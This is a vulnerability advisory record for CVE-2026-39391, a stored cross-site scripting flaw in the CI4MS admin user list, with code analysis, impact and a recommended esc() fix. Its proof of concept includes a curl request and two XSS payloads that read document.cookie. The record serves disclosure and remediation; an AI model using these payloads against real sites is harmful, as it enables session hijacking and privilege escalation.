{"id":"CVE-2026-39391","aliases":["GHSA-7cm9-v848-cfh2"],"url":"https://o3.security/vulnerability/CVE-2026-39391","summary":"CI4MS has Stored XSS via Unescaped Blacklist Note in Admin User List","details":"## Summary\n\nThe blacklist (ban) note parameter in `UserController::ajax_blackList_post()` is stored in the database without sanitization and rendered into an HTML `data-note` attribute without escaping. An admin with blacklist privileges can inject arbitrary JavaScript that executes in the browser of any other admin who views the user management page.\n\n## Details\n\nIn `modules/Users/Controllers/UserController.php`, the `ajax_blackList_post()` method (line 344-362) accepts a `note` POST parameter with only a `required` validation rule:\n\n```php\n// Line 347 — validation only checks 'required', no sanitization\n$valData = (['note' => ['label' => lang('Backend.notes'), 'rules' => 'required'],\n             'uid' => ['label' => 'uid', 'rules' => 'required|is_natural_no_zero']]);\n\n// Line 352 — raw user input passed directly to ban()\n$user->ban($this->request->getPost('note'));\n```\n\nShield's `Bannable::ban()` trait stores the message as-is:\n```php\n// vendor/codeigniter4/shield/src/Traits/Bannable.php\npublic function ban(?string $message = null): self\n{\n    $this->status         = 'banned';\n    $this->status_message = $message;  // No escaping\n    // ...\n}\n```\n\nIn the `users()` method (line 13-91), when building the DataTables response, the `status_message` is concatenated directly into HTML without escaping:\n\n```php\n// Line 55 — esc() IS used here (correct)\n$result->fullname = esc($result->firstname) . ' ' . esc($result->surname);\n\n// Line 58-59 — NO esc() on status_message (vulnerable)\nif ($result->status == 'banned'):\n    $result->actions .= '<button ... data-note=\"' . $result->status_message . '\">'\n```\n\nThe HTML string is returned as JSON (line 90) and DataTables renders it into the DOM. CSP is disabled (`$CSPEnabled = false` in `App.php`), and no `SecureHeaders` filter is applied.\n\n## PoC\n\n**Step 1 — Store XSS payload via ban endpoint:**\n```bash\ncurl -X POST 'https://TARGET/backend/users/blackList' \\\n  -H 'X-Requested-With: XMLHttpRequest' \\\n  -H 'Cookie: ci_session=ADMIN_SESSION_WITH_UPDATE_PERM' \\\n  -d 'uid=2&note=%22+onmouseover%3D%22alert(document.cookie)%22+x%3D%22'\n```\n\nExpected response: `{\"result\":true,\"error\":{\"type\":\"success\",\"message\":\"...\"}}`\n\n**Step 2 — Trigger payload:**\nAny admin navigating to `/backend/users` will receive HTML containing:\n```html\n<button ... data-note=\"\" onmouseover=\"alert(document.cookie)\" x=\"\">\n```\n\nThe XSS fires when the admin hovers over the blacklist button for the banned user.\n\n**Alternative immediate-execution payload:**\n```\nnote=\"><img src=x onerror=alert(document.cookie)>\n```\n\n## Impact\n\n- **Session hijacking**: An attacker with blacklist privileges can steal session cookies of other admins (including superadmins who view the user list but are themselves protected from being banned).\n- **Privilege escalation**: A lower-privileged admin could use stolen superadmin sessions to gain full control.\n- **Persistent**: The payload persists in the database and fires every time the user list is loaded, affecting all admins who view the page.\n\n## Recommended Fix\n\nWrap `status_message` with `esc()` to match the escaping already applied to other user fields on line 55:\n\n```php\n// In users() method, line 58-59 — change:\n$result->actions .= '<button type=\"button\" class=\"btn btn-outline-dark btn-sm open-blacklist-modal\"\n                        data-id=\"' . $result->id . '\" data-status=\"' . $result->status . '\" data-note=\"' . esc($result->status_message) . '\"><i\n```","published":"2026-04-08T14:30:18.750Z","modified":"2026-08-12T03:51:21.037794479Z","cvss":{"score":4.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"ci4-cms-erp/ci4ms","fixedVersion":"0.31.4.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39391.json"},{"type":"ADVISORY","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-7cm9-v848-cfh2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39391"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:21.037794479Z"}}